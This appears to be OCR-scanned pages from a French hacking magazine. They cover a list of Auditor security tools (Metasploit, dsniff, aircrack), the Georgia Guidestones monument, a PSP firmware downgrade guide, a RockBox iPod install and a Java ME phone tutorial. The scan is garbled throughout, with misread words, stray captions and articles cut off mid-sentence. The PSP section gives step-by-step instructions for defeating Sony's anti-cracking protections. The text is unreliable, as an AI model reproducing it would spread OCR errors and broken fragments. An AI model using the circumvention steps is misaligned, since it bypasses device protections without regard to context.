o Metasploit 2.4 avec toutes les mises
ajour

e airsnarf, mais pour'l'instant sans
menu

o fakeap a /opt/Auditor mais pour
I'instant sans menu, il faut écrire un
script shell

o dsniff 2.4b1-10

e nessus plugins mis a jour

o exploit tree mis a jour

o Bleeding-edge rules pour snort
e aircrack nouveau
e airsnort nouveau
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Pourquol

UNJNOUVEAU
STONEHENGE..

l |
\lelGeorgia Guidestones -t été erigdf?;
GeuxTquitle’savent se tairont 4 tout jamais et les?

“Inscriptions ne sont pas I3 pour. nous aider..

est au nord-est de I'Etat
de Géorgie que se
dresse le monument
le plus étrange d’Amé-
rique : quatre énormes blocs de
granit poli qui sortent de terre,
pour former, vu du haut, un X
de plus de cing metres. Chaque
bloc dépasse les 20 tonnes et les
quatre blocs soutiennent une cin-
quiéme pierre de plus de 12 tonnes.
Personne ne sait exactement qui I'a
commandé ni pourquoi. Seuls indices :
une plague metallique fixée au sol,
gui explique comment interpréter les
encoches et les trous taillés dans les
blocs, ainsi gu'une série d’inscriptions
gravees sur lesdits blocs.
Ces inscriptions sont en 8 langues :
anglais, espagnol, russe, chinois,
arabe, hébreu, hindi et swahili et
contiennent des commandements
tels que GUIDE REPRODUCTION
WISELY_IMPROVING FITNESS
AND DIVERSITY., ou PRIZE TRUTH-
BEAUTY-LOVE-SEEKING HARMONY
WITH THE INFINITE.

n2a hackernewsmagazine

:: Une horloge en pierre

Celui qui a construit Georgia Guides-
tones savait bien ce qu’il faisait. Le
monument suit précisément la tra-
jectoire du soleil, a I'instar du célébre
complexe de Stonehenge en Angleterre.
Mais personne ne sait qui I'a construit.
Georgia Guidestones a été créé en 1979

O Joe Fendley, 'homme qui a construit le
monument sur commande d’un inconnu.

lorsqu'un monsieur distingué aux cheveux
gris, aprés s'étre présenté sous le nom
de Robert C. Christian, s'est adressé
a la société Elberton Granite Finishing
pour commander le monument. Dans le
comte d’Elbert, personne n‘avait jamais
demande de pierres taillées d'une telle
dimension. Christian expliqua que les
énormes dalles de pierre devaient étre
gravees et servir de boussole, de calen-
drier et d’horloge. Mais elles devaient
surtout résister également a des évé-
nements catastrophiques, pour guider
d'éventuels étres humains survivants vers
la reconstruction de la civilisation. Joe
Fendley. président de la société Elberton,
déchargea Christian en lui demandant de
se rendre auparavant a la banque du coin,
ce dernier ne souhaitant pas travailler
sans avoir vu la couleur de l'argent.

:: ldentité secréte

“Christian” bondit sur-le-champ
et rendit visite a Wyatt Martin, pré-
sident de la Granity City Bank qui,
au début, le prit pour un mythomane



GUIDESTONES
A L'INSTAR DE STONEHENGE

es grandes dalles de pierre de Georgia

Guidestones se dressent sur le point
culminant du comté d’Elbert et sont orien-
tées pour suivre la trajectoire du soleil.
Aux équinoxes et solstices, les visiteurs si-
tués a l'ouest d’'une fente horizontale spéci-
fique peuvent voir le soleil se lever a I'hori-
zon. Un autre trou dans le pilier central per-
met, en regardant du c6té sud, de centrer
I’Etoile Polaire. Toujours sur le pilier por-
teur, la lumiére provenant a midi d'un trou
présent sur la pierre de couverture, indique
le jour de I'année. Vous m'aurezaucun mal a
localiser Georgia Guidestones avec Google
Maps ou Google Earth. Vous pouvez par-
tir du lien de Panoramio www.panoramio.
com/photo/1846806. Si vous disposez du
plugin de Google Earth, vous verrezalors le
lieu directement de votre navigateur !

et lui dit que, sans connaitre sa véri-
table identité, il ne pouvait pas l'aider.
Christian déclara que “son groupe”
attendait cette occasion depuis plus de
20 ans et parvint a un accord. Il ne reve-
lerait sa véritable identité a Martin qu'en
échange d'un accord de confidentialite
absolue. En outre, tous les documents
du projet seraient détruits une fois la
construction terminée. Le week-end passa
et le banquier Martin téléphona a Fendley :
'homme qui s'était présenté sous le faux
nom de Robert C. Christian avait déepose
10 000 dollars sur le compte ouvert pour
financer les travaux. Il ne pouvait donc que
commencer a travailler.

(4] Stonehenge, I'observatoire astronomi-
que le plus vieux du monde, a défié les sie-
cles. Georgia Guidestones a été cree en 1980.
Combien de temps durera-t-il encore ?

(® [EIEE

:: Hiéroglyphes/Equinoxe

“Christian” acheta 5 000 dollars
un lot de terrain suréleve et visible
de n'importe quelle direction.
Ce lot était la propriété de Wayne Mul-
linex qui, outre I'argent. obtint le droit a
vie de pature pour ses animaux et l'ad-
judication pour les fondations des Gui-
destones. Outre les langues deja enu-
mereées, les inscriptions devaient ega-
lement étre réalisées en hiéroglyphes
égyptiens, grec classique, sanscrit et
caracteres cuneéiformes. Les traduc-
tions furent demandées aux Nations
Unies et un astronome de I'Universite
de Géorgie fut convoque pour aligner
parfaitement l'installation. Personne ne
vit plus Christian, qui écrivait a Martin,
toujours de villes differentes et qui, plus
tard, lui demanda de transférer la pro-
priété du terrain et du monument au
comté d’'Elbert. Les habitants, aux fortes
traditions religieuses, chuchotaient
autour du mystére de cette construction
gigantesque. On parlait d’adorateurs de
l'occulte, de sectes sataniques, et meme
de sacrifices. Georgia Guidestones fut
inauguré le 22 mars 1980, a l'occasion
de I'équinoxe de printemps. Il est imme-
diatement devenu une attraction tou-
ristigue mondiale et le lieu de rassem-
blement d'outsiders comme la com-
munauté de sorcieres d'Atlanta ou de
soi-disant ufologues ; mais le veritable
mystere reste l'identité de Robert C.
Christian qui, jusqu’'a présent, a dupe
tous les deétectives. Seul Wyatt Martin,
le banquier, la connait sans doute. Et a
78 ans aujourd'hui, il a la ferme intention
d'emporter ce secret avec lui dans la
tombe, en tenant sa parole jusqu’a la fin,
face a I'accord conclu.

oici la traduction intégrale du message gravé sur Georgia
Guidestones pour défier les siécles. A qui servira-t-il ?

“Maintenir 'lhumanité en dessous de 500 millions d’individus, en
perpétuel équilibre avec la nature ; guider la reproduction intelli-
gemment, en améliorant la forme physique et la diversité ; unir
I’humanité avec une nouvelle langue vivante ; traiter de la passion,
lafoi, la tradition et de toutes les autres choses avec modération ;
protéger les peuples et nations avec des lois et tribunaux équita-
bles : laisser aux nations leurs lois internes et résoudre les diffé-

LE MESSAGE

rends entre nations devant un tribunal mondial ;
-Bviter les lois et les politiques inutiles ; équilibrer

les droits personnels par les devoirs sociaux ; ré-

compenser la vérité, la beauté, I'amour... en re-
cherchant I'harmonie avec l'infini ; ne pas étre un
cancer sur laterre / laisser une place a la nature /
laisser une place a la nature.”

Yoko Ono, la veuve de John Lennon, a composé
en 1993 une chanson intitulée Georgia Stone ou
elle cite les derniers vers de ce texte.
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artons d’une question sim-

ple mais poutant impor-

tante : pourquoi cracker

une console Sony PSP ?
La réponse est tout aussi directe et
simple : pour y faire tourner tous les
softwares souhaités. Pas (nécessaire-
ment...) des jeux vidéo téléchargés a
partir du Net pour le petit bijou de So-
ny, mais des programmes qui, en temps
normal, ne pourraient pas fonctionner.
Et ce, parce que la console adopte un
systeme de reconnaissance des codes
“certifiés”, a savoir ceux approuvés par
Sony. Si aucune certification n’est re-
connue, le code n'est pas exécuté et
vous pouvez alors dire adieu a votre ré-
ve de pouvoir utiliser un jour des distri-
butions Linux, programmes de graphis-
me, jeux développés par des program-

~~meurs indépendants, etc.

[p 261 [ hackernewsmagazine ]

I (i _J'est jﬂm,"

:: Question de downgrade

La Sony PSP, comme toute machine
évoluée, dispose de son propre syste-
me d’exploitation, appelé “firmware”.
Il existe différentes versions de firm-
ware, selon la période ol vous avez
acheté votre PSP. Bien sdr, vous pou-
vez mettre a jour votre version, par le
biais des fichiers téléchargeables gra-
tuitement sur le site officiel. A vrai di-
re, c'est Sony elle-méme qui pousse a
la mise a jour, en ajoutant de nouvelles
fonctions accessoires. En réalité, ces
derniéres cachent également de “peti-
tes retouches” constamment apportées
aux systemes de protection anti-crac-
king. Donc, que faire ? Tout d’abord,
déterminez la version de votre firmwa-
re, a l'aide du menu spécifique ('empla-
cement du menu change en fonction de

‘\.\.‘

la version du firmware, mais reste faci-
lement accessible). Aprés avoir effec-
tué cette opération, vous pouvez pas-
ser a la procédure de downgrade. Vous
devez ramener le firmware a une ver-
sion précédente, dénuée des techno-
logies anti-cracking mises au point par
Sony. S'il s'agit d’'une procédure encore
en phase expérimentale et trés risquée
pour les versions du firmware les plus
récentes (notamment la version 5.50),
elle est toutefois facile a réaliser pour la
version 3.50 et les précédentes. Et, sur-
tout, bien éprouvée et donc siire.

: Version 3.50

Pour effectuer le downgrade, as-
surez-vous d’avoir une copie ori-
ginale du jeu Lumines et le firm-
ware original de Sony version 1.5.




O3 smashGP n'est rien d’autre qu'une délicieuse version 2D, rapide et bien programmée,
du grand ciassique, apprécié de tous les retrogamers, j'ai nommé “Smash Bros Melee”.

Si vous disposez de la version 3.10 ou
3.40 du firmware, vous devez alors ef-
fectuer sa mise a jour vers la version
3.50, puis procéder comme suit. Téle-
chargez le Downgrader for 3.50 firm-
ware a l'adresse suivante : WWw.noo-
bz.eu. Connectez votre console a votre
PC, par le biais du port USB. Ouvrez
le fichier téléchargé (c'est un fichier
ZIP) et copiez le dossier MS_ROOT
qui se trouve a l'intérieur, dans la pe-
tite carte mémoire de la PSP (vous en
avez une, pas vrai ?). Renommez le fi-
chier du firmware 1.5 en UPDATE.PBP,
et copiez-le dans le sous-dossier GA-
ME/UPDATE de la carte de la conso-
le. Déconnectez la console de l'ordi-
nateur et paramétrez I'anglais comme
langue par défaut. Eteignez totalement
votre PSP, puis redémarrez-la, insé-
rez le CD de Lumines et lancez le jeu.
Des lors, chargez le fichier de sauve-
garde du jeu. Si tout s’est bien dérou-
Ié, la console redémarre, une fenétre
bleue apparait et vous pouvez donc
procéder au downgrade a proprement
dit. Sélectionnez le menu Jeu/Memo-
ry Stick et lancez la mise a jour du fir-
mware. Le cas échéant, confirmez la
mise a jour du software de contréle de
la carte mere. Enfin, appuyez sur la
touche X, jusqu’a la fin du downgrade.
Pour la confirmation finale, appuyez
sur la touche “cercle”. Apres le redé-
marrage, 'opération peut étre consideé-
rée comme achevée.

:: Yersion 2.80

En suivant une procédure sembla-
ble a celle expliquée pour le firmwa-
re 3.50, procurez-vous le Downgrader
v2.80, téléchargeable a I'adresse :
www.noobz.eu. Ouvrez le fichier ZIP, ex-
trayez le dossier MS-ROOT qui se trou-
ve a l'intérieur, et copiez-le dans la car-
te mémoire de la console. Renommez
le fichier du firmware 1.50 en UPDATE.
PBP et copiez-le dans le dossier GA-
ME/UPDATE de la carte. Eteignez et re-
démarrez la console, puis procédez au
downgrade en suivant les instructions
(concrétement, il s'agit de toujours ap-
puyer sur X). Une fenétre bleue finale af-
fichera le temps restant du downgrade.

= Versions 2.5, 2.6 et 2.

L'incroyable hacker espagnol Dark
Alex (www.dark-alex.org) a délivré de
nombreux downgraders, trés simples
a utiliser, pour ces versions de firm-
ware de la console portable de Sony.
Il suffit d’effectuer une recherche sur
le Net et de taper des mots-clés du
style Downgrader 2.71 Dark Alex,
pour trouver par exemple, les liens
ol télécharger celui pour le firmwa-
re 2.71. Son utilisation, comme nous
I'avons dit, est tres simple : il s’agit
de connecter la PSP a l'ordinateur,
puis d'installer le software (les down-
graders de Dark Alkex sont en effet
une forme de software pour PC) et
de le lancer. Seule difficulté : I'utili-
sation de I'espagnol comme langue
officielle de certaines versions de
ces downgraders (d’autres sont en
anglais), mais il suffit de lire les ins-
tructions un peu plus attentivement,
en spécifiant la version de firmware
souhaitée et I'unité correspondant a
la carte mémoire de la PSP, pour un
downgrade simple et rapide.

:: Et maintenant 2

Le downgrade correspond au “dé-
verrouillage” de la console. Dés lors,
vous pouvez en effet installer des
applications homebrew dans la car-
te, et les exécuter sans probléeme.
Si vous étes a la recherche d’'un ho-
mebrew de qualité, ne serait-ce que
pour effectuer des tests techniques,
essayez SmashGP2x, disponible sur
http://membres.lycos.fr/matkeupon/.

OLa procédure de downgrade est également influencée par le type de carte mére utilisé
dans la console, bien que les derniers downgraders s'adaptent a tous les modéles.
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~ Un iPod trés Rock...

Installation de RockBox, un firmware alternatif
d l'iPod et autres lecteurs MP3

es contraintes imposées par les

fabricants constituent la plus

grande limite des lecteurs MP3.

Parmi ces derniers, Apple limite
fortement l'utilisation de ses iPod,
en les liant au programme iTunes ;
qui plus est, vous ne pouvez méme pas
synchroniser votre iPod sur un autre ordi-
nateur avec iTunes, du fait des politiques
restrictives liées au copyright des mor-
ceaux. Bien sir, si votre iPod est formaté
au standard Windows @1 non au standard
Apple, vous pouvez déja contourner
le probléme en affichant les élements
cacheés et en cliquant sur le répertoire
iPod Control, mais vous pouvez aller bien
au-dela. RockBox a été créé dans le but
d'étendre les possibilités des lecteurs

-
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MP3 ; dans le cas des lecteurs d'Apple,
vous pouvez l'installer sur les iPod de
la premiere a la cinquieéme génération
(5.5 pour étre precis), iPod mini et iPod
nano premiere géneration, (les autres
1IPod ne sont pas supportés). Concernant
les autres marques, des modeles
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0¥ Grice au programme RbutilQT, vous
installerez RockBox facilement.

Toshiba, Sandisk, iRiver, Cowon, Archos
et Olympus sont également supportés
(www.rockbox.org/twiki/bin/view/Main/
ReleaseNotes32#Supported_players). La
liste des caractéristiques supplémentaires
apportées par RockBox est vraiment trés
longue. Voici quelques-unes des plus inté-
ressantes : lecture de codecs supplémen-
taires comme Shorten, Flac, Ogg/Vorbis,
MPEG Audio, MPC, MonkeyAudio ; éga-
liseur parameétrique 5 bandes program-
mable ; extension/compression du format
audio ; suppression du limiteur sur le
volume de sortie ; crossfading ; lecture
des fichiers MPEG, architecture avec
plug-in extensible ; support pour les com-
mandes vocales ; skin personnalisées et
bien d'autres choses encore.




@

:: Installation pJ IEI EFI = = H
A 'adresse www.rockbox.org, vous [y -4 v ) 5
pourrez télécharger la version uStudia Archos Racordervl Archos Recorder 8MB  Archos EM Racorder | Archos Rscordarva  Archos Ondio £
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actuelle (3.2) qui, aprés plu-
sieurs années de développement
a enfin réussi a se stabiliser.
Sagissant d'un projet Open Source, vous
pouvez y participer : vous trouverez dans
le Wiki toutes les informations souhaitées a
I'adresse www.rockbox.org/twiki/bin/view/
Main/DevelopmentGuide. Concernant
linstallation, nous expliquerons ses étapes
en utilisant I'exécutable pour Linux. Téle-
chargez-le au format binaire adapté a
votre plate-forme (32 ou 64 bit), decom-
pressez-le puis ouvrez une fenétre de ter-
minal. Entrez dans le repertoire gue vous
venez de décompresser (rbutilgt-v1.2.1) et
lancez I'exécutable rbutilgt en tant qu'uti-
lisateur root. Vous pouvez utiliser la com-
mande sudo ou accéder directement au
shell root par la commande su. N'oubliez
pas que, s'agissant dun programme non
installé sur votre systeme, vous devrez
spécifier 'ensemble du parcours pour le
lancer. Dans le cas contraire, vous verrez
s'afficher l'erreur “commande non trouvée”.
Avant de lancer le programme, assurez-
vous que votre lecteur soit connecte et

Iec H10 20GH 1Pod 3rd gen
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H EXI
b

SanDisk Sansa €200
rI006E

|Pod colorPhato

O Les lecteurs MP3 supportés sont trés nombreux. Avec RockBox, les iPod, surtout
les modéles Photo ou Vidéo, deviennent reéellement intéressants.

visible par le systeme ; en outre, dans le
cas des iPod, ces derniers doivent impé-
rativement avoir ete formatés avec des file
system FAT32 et non HFS. Dans le cas
contraire, vous devez tout d'abord reini-
tialiser votre iPod et le configurer a partir
d'une machine Windows avec iTunes.
N'oubliez pas que la réinitialisation sup-
prime toute votre librairie musicale de
votre iPod, assurez-vous donc d'en avoir

une copie sur votre ordinateur. Une fois
I'application lancee, cette derniere devrait
reconnaitre le périphérique connecteé et le
parametrer sans probléme. Dans le cas
contraire, cliquez sur l'icone Change et
cochez votre dispositif, en spécifiant éga-
lement le modeéle. A présent, un dernier
clic sur Complete Installation lancera la
procédure automatique et, en suivant les
quelques étapes demandeées, vous termi-
nerez l'installation de RockBox, avec des
themes supplémentaires, polices et jeux.
A présent, vous pouvez creer un repertoire
sur 'iPod ol enregistrer tous les fichiers
musicaux. Lors de la premiére tentative
de lecture, RockBox vous avertira qu'il
nécessite un fichier de base de données,
lancez donc la procédure pour le créer.
RockBox ne fait pas de distinctions de
parcours et recherche les fichiers requis
dans n'importe quel repertoire present
sur le dispositif. Si vous souhaitez exclure
un répertoire du scan, créez un fichier
vide appelé database.ignore et placez-
le dans le répertoire a exclure. Cette opé-
ration doit egalement étre réalisée pour les
sous-repertoires, car vous pourriez avoir
un repertoire source ignore, mais ses
sous-repertoires indexes. RockBox
permet d'effectuer de nombreuses per-
sonnalisations : & vous donc d'explorer
tous les menus et de commencer a
utiliser votre lecteur MP3 d'une facon
totalement nouvelle !
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lous les téléphones por-
. tables de derniére géné-
ration peuvent désormais

i se connecter a Internet.
Un acqms incontestable ! Mais, dans
la plupart des cas, cette possmlhte
impliqgue également des inconvénients
que les fabricants de portables et les
opérateurs téléphoniques tentent de
vous cacher : par exemple, certains
. téléphones ne permettent d’accéder a
Internet que par le biais de quelques
rares applications certifiées (et eMule
alors ?7) ; d'autres, comme l'iPhone,
imposent de fortes restrictions quant au
développement de softwares personna-
lisés (par exemple, le Software Deve-
lopment Kit pour iPhone n’est actuel-
. lement disponible que pour les déten-
teurs d'un Mac) ; vula variété de sys-
témes a disposition, il est difficile de

. trouver un software qui tourne sur tous
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les téléphones. Enfin, vous devez tou-
jours tenir compte du prix a payer pour la
quantité de données transférée ou pour
le temps que vous passez sur Internet.
Bien que la technologie Java pour por-
tables paraisse désormais obsoléte,
celle-ci vous permet de résoudre ces
problémes, du moins en partie : vous
pouvez en effet créer des applications
portables, capables de tourner éga-
lement sur les téléphones les moins
récents, et surtout, spécialement
congues pour vos besoins.

:: Lenvironnement
e développement

Avant de commencer a écrire du
code, vous devez préparer I’'environ-
nement de développement. Voici les
softwares dont vous avez besoin :

le SDK de Java (a partir de la version
1.5), le Wireless Toolkit de Sun et
Eclipse (a partir de la version 3.3) avec
I'extension Mobile Tools for Java. Tous
ces programmes peuvent étre installés
tant sur une machine Windows que sur
une machine Linux. Le téléchargement
des fichiers nécessaires et leur instal-
lation prennent un peu de temps mais ne
sont pas particulierement compliqués :
les produits Sun (Java et le Wireless
Toolkit) disposent de programmes
d'installation automatiques ; Eclipse est
fourni dans un fichier .zip et fonctionne
immédiatement une fois extrait ; enfin,
vous pouvez télécharger 'extension
MTJ directement a partir d’Eclipse,
en ouvrant la rubrique du menu Help-
>Software Updates, en ajoutant a I'in-
térieur de l'onglet Available Software
I'adresse du répertoire de MTJ, et en
installant tous les packs disponibles.
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O Installez MTJ directement a partir d'Eclip-
se, en utilisant le software de gestion des mi-
ses ajour fourni dans le téléchargement.

Votre premiére expérience ne peut
passer que par le traditionnel “Hello
World”. La premiére étape néces-
saire consiste a créer un nouveau
projet, en sélectionnant dans Eclipse
la commande File->New->Project, puis
Java ME->MIDLet project. Lors de la
premiére exécution, vous devrez spé-
cifier dans quel répertoire vous avez
installé le Wireless Toolkit de SUN,
de sorte qu'Eclipse puisse importer a
partir de celui-ci les différents profils
de dispositif pour lesquels vous pouvez
développer un software. Pour votre
projet, vous pouvez donc choisir d’uti-
| liser un DefaultColorPhone et cliquer
sur Finish. Dés lors, le nouveau projet
apparait dans l'arborescence a gauche
| de I'écran. Cliquez avec le bouton droit
| sur le dossier src, sélectionnez New-
| >Other puis Java ME->Java ME Midlet.
! Donnez un nom a votre programme
(par exemple HelloWorld) et cliquez
a nouveau sur Finish : une fenétre
s'ouvrira alors automatiquement,
contenant le squelette de la classe Java
I
|

a peine créée. Dés lors, vous devez,

compléter le code comme décrit dans
src/HelloWorld.java. Ouvrez l'onglet
Application Descriptor et sélectionnez
la commande Launch as emulated Java
ME Midlet : si tout s’est bien déroulé,

i , Device.Management
Specify the devices to be used by Java ME projects ,
1 {
| .

| Installed SDKs: | Sun Java(TM) Wireless Toolkit 2,5.2_0;

| | Default + Group Name

S

Sun Java(TM) Wireles MediaControlSkin ¢
Sun Java(TM) Wireles QwertyDevice {
Sun Java(TM) Wireles DefaultGrayPhone  {
Sun Java(TM) Wireles DefaultColorPhone {

ROOO

O Lors de la création de votre premier pro-
jet, vous devrez spécifier dans quel répertoire
vous avez installé le Wireless Toolkit de SUN.

vous devriez voir tourner votre premiére
application. Bien sar, dans votre tout
dernier téléphone portable émulé !

:: Connectez-vous au Weh

D’un simple Hello World a une appli-
cation bien plus utile et avancée, il
n’y a qu’un pas : en ajoutant quelques
lignes de code, vous pouvez en effet
faire en sorte que votre téléphone se
connecte a Internet et affiche le contenu
d’'un quelconque fichier texte présent
sur le Web. Le fichier complet est dis-
ponible ici : src/WebGet.java. Bien que
cette solution soit encore rudimentaire,
elle vous permettra d’effectuer diffé-
rentes actions ; ainsi, a tout moment
avec votre téléphone portable, vous
pourrez contréler I'état de votre serveur,
lire des news, contrdler votre boite mail
et ainsi de suite.

= Des pages spécifiques

‘Le choix de se limiter a des

fichiers textes n’est dicté en partie
que par un souci de simplicité :
avec relativement peu d’effort et
en utilisant la grande quantité
de librairies Java a disposition,
vous pourriez interpréter les données
téléchargées et effectuer des opéra-
tions bien plus avancées sur une mul-
titude d’éléments : textes complexes,
images et méme des vidéos. Le coit
des octets téléchargés constitue tou-
tefois une raison non moins importante
d'opter pour les textes purs : a égalité
d'informations “intéressantes”, une page
Web (contenant sans doute également
des images) peut étre des dizaines voire
méme des centaines de fois plus lourde
gu’un simple texte, ce qui se traduit par
un prix plus élevé a payer aux opéra-
teurs téléphoniques. Bien sir, ces der-
niers ont tout intérét & vous faire croire
qu’une connexion plus rapide et cheére
est toujours nécessaire, mais nous
savons bien que la plupart du temps,
ce n'est pas vrai. Vous pouvez tester le
concept en utilisant un script perl (src/
treni.pl) spécialement créé dans cet
objectif : aprés avoir donné les noms
de deux villes, celui-ci se connecte au
site de Trenitalia, sort les horaires des
trains qui parcourent le trajet spécifié et
les publie au simple format texte. Aprés
avoir copié ce script sur un serveur
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O Hello World, votre premiére application
sur mobile. Pour I'instant, juste émulé !

Web, celui-ci est accessible a tous et
donc également a I'application Java qui
tourne sur votre téléphone. Résultat ?
Vous disposerez toujours des horaires
de trains actualisés, en téléchargeant
quelques centaines d'octets au lieu de
plusieurs milliers, en obtenant ainsi les
informations qui vous sont utiles (et uni-
quement ces derniéres, sans publicité
ni autres données superflues) de fagon
plus rapide et économique.

O auelques lignes de code supplémentai-
res, un script perl qui tourne sur un serveur,
et les horaires des trains arrivent en temps
réel. Presque gratuitement !

i
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Briser le monopole du savoir
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